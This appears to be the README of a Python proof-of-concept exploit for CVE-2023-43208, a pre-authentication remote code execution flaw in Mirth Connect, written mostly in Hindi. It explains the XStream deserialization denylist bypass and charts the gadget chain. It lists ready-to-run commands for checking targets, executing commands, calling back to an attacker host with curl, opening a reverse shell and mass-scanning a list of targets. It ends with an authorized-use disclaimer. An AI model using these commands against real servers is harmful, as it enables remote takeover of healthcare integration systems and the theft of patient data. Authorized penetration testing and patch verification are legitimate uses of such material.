
CVE-2023-43208: Mirth Connect Pre-Auth RCE PoC
XStream डीसेरियलाइज़ेशन बाइपास के माध्यम से NextGen Healthcare Mirth Connect < 4.4.1 में प्री-प्रमाणित रिमोट कोड निष्पादन।
CVSS 9.8 (क्रिटिकल) — CVE-2023-37679 का पैच बायपास
Mirth Connect, /api/users एंडपॉइंट पर XML पेलोड को डीसेरियलाइज़ करने के लिए Java XStream लाइब्रेरी का उपयोग बिना प्रमाणीकरण के करता है। मूल फिक्स (CVE-2023-37679) ने खतरनाक क्लासेस की एक डेनीलिस्ट पेश की थी, लेकिन Apache Commons Lang3 के EventBindingInvocationHandler को Commons Collections4 InvokerTransformer श्रृंखला के साथ जोड़कर इसे बायपास कर दिया गया।
Mirth Connect 4.4.1 में डेनीलिस्ट से अलाउलिस्ट पर स्विच करके इसे ठीक किया गया।
pip install requests
Python 3.10+ (match स्टेटमेंट का उपयोग करता है)।
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (no auth)
│
▼
XStream deserializes XML payload
│
▼
sorted-set triggers Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
OS command execution as Mirth Connect service user
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।